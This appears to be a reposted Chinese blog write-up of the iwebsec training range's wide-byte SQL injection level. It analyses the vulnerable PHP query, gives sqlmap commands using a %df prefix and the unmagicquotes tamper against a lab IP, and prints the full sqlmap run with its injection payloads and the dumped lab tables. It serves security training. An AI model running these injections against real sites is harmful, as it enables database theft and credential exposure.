iwebsec靶场 SQL注入漏洞通关笔记6- 宽字节注入

news/2024/5/20 4:45:22/文章来源:https://blog.csdn.net/mooyuan/article/details/128035982

 系列文章目录

iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)_mooyuan的博客-CSDN博客

iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客


目录

系列文章目录

前言

一、源码分析

二、sqlmap注入

1.注入命令

 2.完整交互过程

总结



前言

 打开靶场的SQL注入关卡的第06关,宽字节注入iwebsec靶场 SQL注入漏洞通关笔记5- updatexml注入(报错型盲注)_mooyuan的博客-CSDN博客如下所示

一、源码分析

如下所示,SQL语句与1-5关的大多数关卡一样,调用的语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";很明显这是一个普通的数字型注入,并且没有对参数id做任何过滤。

不过在输出内容中可以得知仅sql查询成功时输出正确的id,用户名和密码。在错误的时候却执行语句print_r(mysql_error());这个报错语句的使用意味着我们可以利用报错型函数如updatexml,extractvalue等函数进行SQL注入,换言之渗透方法可以参考第05关报错型注入。不过呢,本关卡的源码中如下语句说明其为宽字节型

mysql_query("SET NAMES gbk");

 也就是说本关卡的注入可以使用报错型的宽字节注入

二、sqlmap注入

1.注入命令

方法1:参数id后加上%df

sqlmap -u http://192.168.71.151/sqli/05.php?id=1%df  --current-db --dump --batch

 如下所示,渗透成功

方法2:sqlmap的注入命令语句使用--tamper unmagicquotes

sqlmap -u http://192.168.71.151/sqli/05.php?id=1  --current-db --dump --batch  --tamper unmagicquotes

 2.完整交互过程

完整的注入交互如下所示

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/05.php?id=1%df  --current-db --dump --batch_____H__                                                                                                                                                                                                                               ___ ___[.]_____ ___ ___  {1.5.11#stable}                                                                                                                                                                                                  
|_ -| . ["]     | .'| . |                                                                                                                                                                                                                  
|___|_  [)]_|_|_|__,|  _|                                                                                                                                                                                                                  |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                               [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:36:21 /2022-11-24/[23:36:21] [INFO] resuming back-end DBMS 'mysql' 
[23:36:21] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)Type: boolean-based blindTitle: Boolean-based blind - Parameter replace (original value)Payload: id=(SELECT (CASE WHEN (8465=8465) THEN 1 ELSE (SELECT 7769 UNION SELECT 3720) END))Type: error-basedTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)Payload: id=1 AND (SELECT 1776 FROM(SELECT COUNT(*),CONCAT(0x7171717871,(SELECT (ELT(1776=1776,1))),0x7170707171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1 AND (SELECT 2424 FROM (SELECT(SLEEP(5)))vTBV)Type: UNION queryTitle: Generic UNION query (NULL) - 3 columnsPayload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7171717871,0x7a756e6165784e50754f725a797052684779706b716f4d504b4e7354596277657354776f4f724468,0x7170707171)-- -
---
[23:36:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[23:36:22] [INFO] fetching current database
current database: 'iwebsec'
[23:36:22] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[23:36:22] [INFO] fetching current database
[23:36:22] [INFO] fetching tables for database: 'iwebsec'
[23:36:22] [INFO] fetching columns for table 'user' in database 'iwebsec'
[23:36:22] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+[23:36:22] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[23:36:22] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[23:36:22] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+[23:36:22] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[23:36:22] [INFO] fetching columns for table 'users' in database 'iwebsec'
[23:36:22] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+[23:36:22] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[23:36:22] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[23:36:22] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+[23:36:22] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[23:36:22] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[23:36:22] [WARNING] your sqlmap version is outdated[*] ending @ 23:36:22 /2022-11-24/

总结

iwebsec靶场的宽字节注入由于使用了报错函数,加上类型为宽字节,而闭合的判断上只是与前几关一样为普通的数字型注入,故而搞清楚原理后,只需要配置正确参数使用sqlmap渗透十分方便高效。初学者还是应该以手动注入方法练习,真正了解原理后可以在使用sqlmap来提升速度。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_226288.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【学习笔记38】JavaScript中的本地存储

一、localStorage 浏览器的本地存储(永久存储), 打开浏览器存储上之后, 关闭浏览器, 信息还在语法&#xff1a;window.localStorage.setItem(key, value)注意: value的值必须为字符串key的书写符合见名知意 window.localStorage.setItem(ceshi1, 1111111);window.localStorage.…

制霸GitHub热榜的Spring Cloud Alibaba源码笔记,果然是阿里传出的

7年前面试最常问的并且可以顺利拿到高薪的技能是 Dubbo 3年前面试,只要你简历上有Spring Cloud 项目的相关经验,肯定会打动面试官&#xff0c;现在呢?恐怕简历上有Dubbo和简单的Spring Cloud技术和经验是无法让面试官高看你的。 Spring Cloud Alibaba 近几年在受到国内不少开…

深度学习与总结JVM专辑(三):垃圾回收器—G1(图文+代码)

垃圾收集器G1前言概述停顿时间模型内存布局传统内存布局过时了G1实现的几个关键细节问题铺垫知识&#xff1a;跨代引用铺垫知识&#xff1a;记忆集&#xff0c;卡表&#xff0c;卡页铺垫知识&#xff1a;写屏障插眼往下看G1内存模型分区Region卡片Card堆Heap分代模型分代垃圾收…

TensorRT--学习笔记

官方文档是最权威的TensorRT是可以在NVIDIA各种GPU硬件平台下运行的一个C推理框架。利用Pytorch、TF或者其他框架训练好的模型&#xff0c;可以转化为TensorRT的格式&#xff0c;然后利用TensorRT推理引擎去运行我们这个模型&#xff0c;从而提升这个模型在英伟达GPU上运行的速…

这可能是最权威、最全面的Go语言编码风格规范了!

每种编程语言除了固定的语法之外&#xff0c;都会有属于自己的地道的(idiomatic)写法。其实&#xff0c;自然语言也不例外&#xff0c;你想&#xff0c;你用心想想是不是这样。语言的设计者们希望开发人员都能编写统一风格的地道的代码&#xff0c;这样不仅代码可读性好&#x…

Packet Tracer 实验 - 排除多区域 OSPFv3 故障

地址分配表 设备 接口 IPv6 全局单播地址 IPv6 本地链路地址 默认网关 ISP GigabitEthernet0/0 2001:DB8:C1:1::1/64 FE80::C1 不适用 ASBR GigabitEthernet0/0 2001:DB8:C1:1::2/64 FE80::7 不适用 Serial0/0/0 2001:DB8:A8EA:F0A::1 FE80::7 不适用 S…

JSP学习日记

JSP简述 Java Sever Pages----->Java服务器界面 用于前后端结合 jsp为什么淘汰&#xff1f; 由于JSP的前后端耦合性极高&#xff0c;编写代码非常臃肿。前后端的代码放在一起&#xff0c;所以JSP可以看成是已经被淘汰的技术。 为什么还要学jsp&#xff1f; 由于一些公司…

基于遗传算法的自主式水下潜器路径规划问题附Matlab代码

✅作者简介&#xff1a;热爱科研的Matlab仿真开发者&#xff0c;修心和技术同步精进&#xff0c;matlab项目合作可私信。 &#x1f34e;个人主页&#xff1a;Matlab科研工作室 &#x1f34a;个人信条&#xff1a;格物致知。 更多Matlab仿真内容点击&#x1f447; 智能优化算法 …

MFC编辑框控件属性和用法

目录 一、编辑框的属性 1.want return 2.Multiline 3.滚动条 4.添加完效果 二、初始化编辑框内容 三、复制与退出 四、edit control的值类型 五、思维拓展 一、编辑框的属性 默认情况下编辑框edit control 是可以横向无限输入的 1.want return 支持换行&#xff0c;…

自动化项目倍加福测距仪QSM WCS RS485 与西门子S7 200通信

1、程序流程图 2、WCS位置数据处理流程 第一步&#xff1a;设置S7-200的RS485的通讯波特率19.2kbps&#xff0c;通讯格式&#xff08;8&#xff0c;1&#xff0c;E&#xff09;&#xff1b; 第二步&#xff1a;PLC向WCS发送请求码&#xff1a; A0A1为0&#xff0c;表示读码器地…

《人月神话》(The Mythical Man-Month)1 看清问题的本质:如果我们想解决问题,就必须试图先去理解它...

第一章 焦油坑&#xff08;The Tar Pit&#xff09;史前史中&#xff0c;没有比巨兽在焦油坑中垂死挣扎的场面更令人震撼的了。上帝见证着恐龙、猛犸象、剑齿虎在焦油中挣扎。它们挣扎得越是猛烈&#xff0c;焦油纠缠得越紧&#xff0c;没有任何猛兽足够强壮或具有足够的技巧&a…

【C++数据结构】程序性能分析

程序性能分析 2.1 什么是程序性能 程序性能&#xff1a;所谓程序性能&#xff08;performance of a program&#xff09;是指运行这个程序所需要的内存和时间的多少。 性能分析&#xff1a;在性能分析&#xff08;performance analysis&#xff09;时&#xff0c;采用分析方…

基于粒子群算法的配电网重构研究matlab程序

基于粒子群算法的配电网重构研究matlab程序 参考文献&#xff1a;基于改进灰狼算法的含分布式电源配电网重构研究 &#xff08;本文未考虑分布式电源&#xff09; 摘要&#xff1a;使用基本环矩阵编码的智能优化算法在处理配电网重构问题中&#xff0c;通常使用无序的解空间&a…

玩链子游戏

一 游戏描述 有一条链子&#xff0c;上面有 n 颗钻石&#xff0c;钻石编号为 1&#xff5e;n 。可以对该链子执行两种操作&#xff1a; ① CUT a b c &#xff08;区间切割操作&#xff09; 切下从第 a 颗钻石到第 b 颗钻石的链子&#xff0c;把它插在剩余链子的第 c 颗钻石…

Pytorch中CrossEntropyLoss()详解

一、损失函数 nn.CrossEntropyLoss() 交叉熵损失函数 nn.CrossEntropyLoss() &#xff0c;结合了 nn.LogSoftmax() 和 nn.NLLLoss() 两个函数。 它在做分类&#xff08;具体几类&#xff09;训练的时候是非常有用的。 二. 什么是交叉熵 交叉熵主要是用来判定实际的输出与期望…

水泥行业工业互联网平台(CCPS)解决方案

水泥行业经过过去十年的发展和调整&#xff0c;基本实现了集团化。集团管控当前面临的主要问题是数字的分散化和碎片化&#xff0c;建设工业互联网是新时期加强集团管控的必经之路。 CCPS平台优势 1.融合SOA理念的架构平台和系统框架。具有跨平台、易维护、可集成、可扩展、分…

【图像处理】基于图像聚类的无监督图像排序问题(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

遥感技术及高分遥感影像在地震中的应用及高分二号获取

长期以来&#xff0c;地震预报监测、灾害调查、灾情信息获取主要依靠实地勘测手段&#xff0c;其获取的数据精度和置信度虽然较高&#xff0c;但存在工作量大、效率低、费用高和信息不直观等缺点。遥感技术手段可在一定程度上克服传统实地勘测手段的缺点&#xff0c;并具有其他…

BUUCTF Misc ningen1 小明的保险箱1 爱因斯坦1 easycap1

ningen1 下载文件 使用kali中的binwalk查看 binwalk xxx.jpg 分离文件 打开 压缩包加密了&#xff0c;爆破 爆破成功&#xff0c;密码&#xff1a;8368 得到flag flag{b025fc9ca797a67d2103bfbc407a6d5f} 小明的保险箱1 下载文件 用010 editor打开 可以看到图…

Springboot——Controller层开发、请求与响应、RESTful开发规范

目录 一、入门案例&#xff08;小了解&#xff0c;没啥用&#xff09; 1.1 创建Springboot工程 1.2 导入maven坐标 1.3 controller层代码 1.4 postman测试 二、 REST常用注解 2.1 Controller 2.2 RequestMapping&#xff08;请求映射路径&#xff09; 2.3 Response…